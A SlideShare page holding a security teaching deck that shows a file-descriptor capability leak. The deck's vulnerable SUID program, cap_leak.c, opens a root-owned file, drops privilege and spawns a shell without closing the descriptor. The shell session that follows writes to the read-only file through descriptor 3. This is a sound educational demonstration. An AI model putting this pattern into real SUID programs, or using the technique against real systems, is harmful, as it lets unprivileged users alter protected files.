SlideShare a Scribd company logo
Can I write to a read only file?
- Oops the file was not closed
Dr. Dharma Ganesan
Background and Problem
● A file is owned by the root (admin)
● Other users can read its content but cannot write to it
● An SUID Linux binary can write to that file
● The SUID binary drops the privilege before spawning a new process
○ The new process is not owned by the root
● Problem: The parent process forgot to close the file
● Can the less privileged child process write to the read only file?
/etc/zzz is owned by the root
~$ ls -al /etc/zzz
-rw-r--r-- 1 root root 29 May 2 07:48 /etc/zzz
Other users can read (r) it but only the root can write (w) to it.
Let’s try to write to the read only file
~$ echo "Writing to a read only file" > /etc/zzz
bash: /etc/zzz: Permission denied
● Let’s find an SUID Linux binary that may have some vulnerability
● Cap_Leak is a demo example (on the next slide)
● Cap_Leak has a vulnerability we will exploit!
○ Cap_Leak will leak the file descriptor
Cap_leak can write to the /etc/zzz file
~$ ls -al cap_leak
-rwsr-xr-x 1 root seed 7386 Apr 29 18:45 cap_leak
● Note: cap_leak is an SUID binary (s)
● However, other users are allowed to execute it “as a root” temporarily
● The source code of cap_leak.c is on the next slide
○ Header files are not included to save space
void main() {
int fd;
char *v[2];
/* Assume that /etc/zzz is an important system file,
* and it is owned by root with permission 0644… */
fd = open("/etc/zzz", O_RDWR | O_APPEND);
/* Error handling code is removed to save space on the slide */
// Print out the file descriptor value
printf("fd is %dn", fd);
// Permanently disable the privilege by making the effective uid the same as the real uid
setuid(getuid());
// Execute /bin/sh
v[0] = "/bin/sh"; v[1] = 0;
execve(v[0], v, 0);
}
The file is not closed before
spawning a less privileged
child process
~$ cat /etc/zzz
bbbbbbbbbbbbbbbbbbbbbbbbbbbb
Content of the read only file (before the attack)
Content of the read only file (after the attack)
~$ ./cap_leak
fd is 3
$ echo "If we fail to close the files, someone can write to them!" >& 3
$
$ exit
~$ cat /etc/zzz
bbbbbbbbbbbbbbbbbbbbbbbbbbbb
If we fail to close the files, someone can write to them!
Conclusion
● This demo shows that we need to close all opened files
● Otherwise, evil processes can write to read only files
● Dropping the privilege is not enough
● Don’t assume that the child process need the file descriptor to exploit
○ File descriptors are small numbers that are easy to guess
Reference
Wenliang Du. “Computer Security, A Hands-on Approach,” CreateSpace
Independent Publishing Platform; 1 edition (October 12, 2017)

More Related Content

PPTX
Unix cmd on_free_bsd
PDF
Linux fundamental - Chap 03 file
PDF
Building a userspace filesystem in node.js
PDF
Cpp lab 13_pres
PDF
Linux basics and commands - from lynxbee.com
ODP
CS50x Permissions, Files, Users
PPTX
S3 & Glacier - The only backup solution you'll ever need
PPTX
Unix cmd on_free_bsd
Linux fundamental - Chap 03 file
Building a userspace filesystem in node.js
Cpp lab 13_pres
Linux basics and commands - from lynxbee.com
CS50x Permissions, Files, Users
S3 & Glacier - The only backup solution you'll ever need

What's hot (20)

PDF
Unix for Librarians
PDF
System administration
PDF
리눅스 간단 강의 5강
PDF
Find & Locate utility Linux
ODP
An Introduction to GNU/Linux
DOC
Restricting unix users
PDF
PPTX
Macros code for Protecting and Unprotecting Sheets
PPTX
Linux basic1&2
PDF
Barbarians at the Gate(way) - Dave Lewis - Codemotion Amsterdam 2018
PDF
An Overview of HTML5 Storage
PDF
Git installation
ODP
NFS ubuntu Server and windows 7 Client
TXT
新建 文本文档
PDF
Node.js Authentication and Data Security
PPTX
Python data file handling
PDF
PHP Identity and Data Security
TXT
Mounting usb free bsd
PPT
Perl Intro 8 File Handles
PDF
JSOP in 60 seconds
Unix for Librarians
System administration
리눅스 간단 강의 5강
Find & Locate utility Linux
An Introduction to GNU/Linux
Restricting unix users
Macros code for Protecting and Unprotecting Sheets
Linux basic1&2
Barbarians at the Gate(way) - Dave Lewis - Codemotion Amsterdam 2018
An Overview of HTML5 Storage
Git installation
NFS ubuntu Server and windows 7 Client
新建 文本文档
Node.js Authentication and Data Security
Python data file handling
PHP Identity and Data Security
Mounting usb free bsd
Perl Intro 8 File Handles
JSOP in 60 seconds
Ad

Similar to Can I write to a read only file ? (20)

PPT
Host security
PPT
Host security
PDF
Exploitation and distribution of setuid and setgid binaries on Linux systems
PDF
Security coding c and c++ ch8(2)
PPT
Unix Security
PPTX
Operating system enhancements to prevent misuse of systems
PPTX
Linux Systems Programming: File Handling
PPTX
Unix System Programming and Compiler Design Laboratory 3.pptx
PPTX
Lecture 4 FreeBSD Security + FreeBSD Jails + MAC Security Framework
PPTX
Linux privilege escalation 101
PDF
Unix executable buffer overflow
PPTX
permissions.pptx computer science and tec
PPTX
Linux security introduction
PDF
Unit+eight+ +ubuntu+security
PDF
Unit+eight+ +ubuntu+security
DOCX
Linux 系統程式--第一章 i/o 函式
PPTX
Linux System Programming - File I/O
PPTX
antoanthongtin_Lesson 3- Software Security (1).pptx
ODP
Ohm2013 'defeating trojans' slides
PPTX
Linux 开源操作系统发展新趋势
Host security
Host security
Exploitation and distribution of setuid and setgid binaries on Linux systems
Security coding c and c++ ch8(2)
Unix Security
Operating system enhancements to prevent misuse of systems
Linux Systems Programming: File Handling
Unix System Programming and Compiler Design Laboratory 3.pptx
Lecture 4 FreeBSD Security + FreeBSD Jails + MAC Security Framework
Linux privilege escalation 101
Unix executable buffer overflow
permissions.pptx computer science and tec
Linux security introduction
Unit+eight+ +ubuntu+security
Unit+eight+ +ubuntu+security
Linux 系統程式--第一章 i/o 函式
Linux System Programming - File I/O
antoanthongtin_Lesson 3- Software Security (1).pptx
Ohm2013 'defeating trojans' slides
Linux 开源操作系统发展新趋势
Ad

More from Dharmalingam Ganesan (20)

PDF
.NET Deserialization Attacks
PDF
Reverse Architecting using Relation Algebra.pdf
PDF
How to exploit rand()?
PDF
Cyclic Attacks on the RSA Trapdoor Function
PDF
An Analysis of RSA Public Exponent e
PDF
An Analysis of Secure Remote Password (SRP)
PDF
Thank-a-Gram
PDF
Active Attacks on DH Key Exchange
PPTX
How do computers exchange secrets using Math?
PDF
On the Secrecy of RSA Private Keys
PDF
Computing the Square Roots of Unity to break RSA using Quantum Algorithms
PDF
Analysis of Short RSA Secret Exponent d
PDF
Dependency Analysis of RSA Private Variables
PDF
Analysis of Shared RSA Modulus
PDF
RSA Game using an Oracle
PDF
RSA Two Person Game
PDF
RSA without Integrity Checks
PPTX
RSA without Padding
PDF
Solutions to online rsa factoring challenges
PDF
Security of RSA and Integer Factorization
.NET Deserialization Attacks
Reverse Architecting using Relation Algebra.pdf
How to exploit rand()?
Cyclic Attacks on the RSA Trapdoor Function
An Analysis of RSA Public Exponent e
An Analysis of Secure Remote Password (SRP)
Thank-a-Gram
Active Attacks on DH Key Exchange
How do computers exchange secrets using Math?
On the Secrecy of RSA Private Keys
Computing the Square Roots of Unity to break RSA using Quantum Algorithms
Analysis of Short RSA Secret Exponent d
Dependency Analysis of RSA Private Variables
Analysis of Shared RSA Modulus
RSA Game using an Oracle
RSA Two Person Game
RSA without Integrity Checks
RSA without Padding
Solutions to online rsa factoring challenges
Security of RSA and Integer Factorization

Recently uploaded (20)

PDF
Design an Analysis of Algorithms II-SECS-1021-03
PDF
Designing Intelligence for the Shop Floor.pdf
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
PDF
Understanding Forklifts - TECH EHS Solution
PPTX
Transform Your Business with a Software ERP System
PDF
iTop VPN Free 5.6.0.5262 Crack latest version 2025
PPTX
CHAPTER 2 - PM Management and IT Context
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
PPTX
assetexplorer- product-overview - presentation
PDF
SAP S4 Hana Brochure 3 (PTS SYSTEMS AND SOLUTIONS)
PDF
Digital Strategies for Manufacturing Companies
PDF
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
PDF
Softaken Excel to vCard Converter Software.pdf
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
PPTX
Introduction to Artificial Intelligence
PDF
medical staffing services at VALiNTRY
Design an Analysis of Algorithms II-SECS-1021-03
Designing Intelligence for the Shop Floor.pdf
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
Understanding Forklifts - TECH EHS Solution
Transform Your Business with a Software ERP System
iTop VPN Free 5.6.0.5262 Crack latest version 2025
CHAPTER 2 - PM Management and IT Context
Adobe Illustrator 28.6 Crack My Vision of Vector Design
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Design an Analysis of Algorithms I-SECS-1021-03
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
assetexplorer- product-overview - presentation
SAP S4 Hana Brochure 3 (PTS SYSTEMS AND SOLUTIONS)
Digital Strategies for Manufacturing Companies
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
Softaken Excel to vCard Converter Software.pdf
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
Introduction to Artificial Intelligence
medical staffing services at VALiNTRY

Can I write to a read only file ?

  • 1. Can I write to a read only file? - Oops the file was not closed Dr. Dharma Ganesan
  • 2. Background and Problem ● A file is owned by the root (admin) ● Other users can read its content but cannot write to it ● An SUID Linux binary can write to that file ● The SUID binary drops the privilege before spawning a new process ○ The new process is not owned by the root ● Problem: The parent process forgot to close the file ● Can the less privileged child process write to the read only file?
  • 3. /etc/zzz is owned by the root ~$ ls -al /etc/zzz -rw-r--r-- 1 root root 29 May 2 07:48 /etc/zzz Other users can read (r) it but only the root can write (w) to it.
  • 4. Let’s try to write to the read only file ~$ echo "Writing to a read only file" > /etc/zzz bash: /etc/zzz: Permission denied ● Let’s find an SUID Linux binary that may have some vulnerability ● Cap_Leak is a demo example (on the next slide) ● Cap_Leak has a vulnerability we will exploit! ○ Cap_Leak will leak the file descriptor
  • 5. Cap_leak can write to the /etc/zzz file ~$ ls -al cap_leak -rwsr-xr-x 1 root seed 7386 Apr 29 18:45 cap_leak ● Note: cap_leak is an SUID binary (s) ● However, other users are allowed to execute it “as a root” temporarily ● The source code of cap_leak.c is on the next slide ○ Header files are not included to save space
  • 6. void main() { int fd; char *v[2]; /* Assume that /etc/zzz is an important system file, * and it is owned by root with permission 0644… */ fd = open("/etc/zzz", O_RDWR | O_APPEND); /* Error handling code is removed to save space on the slide */ // Print out the file descriptor value printf("fd is %dn", fd); // Permanently disable the privilege by making the effective uid the same as the real uid setuid(getuid()); // Execute /bin/sh v[0] = "/bin/sh"; v[1] = 0; execve(v[0], v, 0); } The file is not closed before spawning a less privileged child process
  • 7. ~$ cat /etc/zzz bbbbbbbbbbbbbbbbbbbbbbbbbbbb Content of the read only file (before the attack)
  • 8. Content of the read only file (after the attack) ~$ ./cap_leak fd is 3 $ echo "If we fail to close the files, someone can write to them!" >& 3 $ $ exit ~$ cat /etc/zzz bbbbbbbbbbbbbbbbbbbbbbbbbbbb If we fail to close the files, someone can write to them!
  • 9. Conclusion ● This demo shows that we need to close all opened files ● Otherwise, evil processes can write to read only files ● Dropping the privilege is not enough ● Don’t assume that the child process need the file descriptor to exploit ○ File descriptors are small numbers that are easy to guess
  • 10. Reference Wenliang Du. “Computer Security, A Hands-on Approach,” CreateSpace Independent Publishing Platform; 1 edition (October 12, 2017)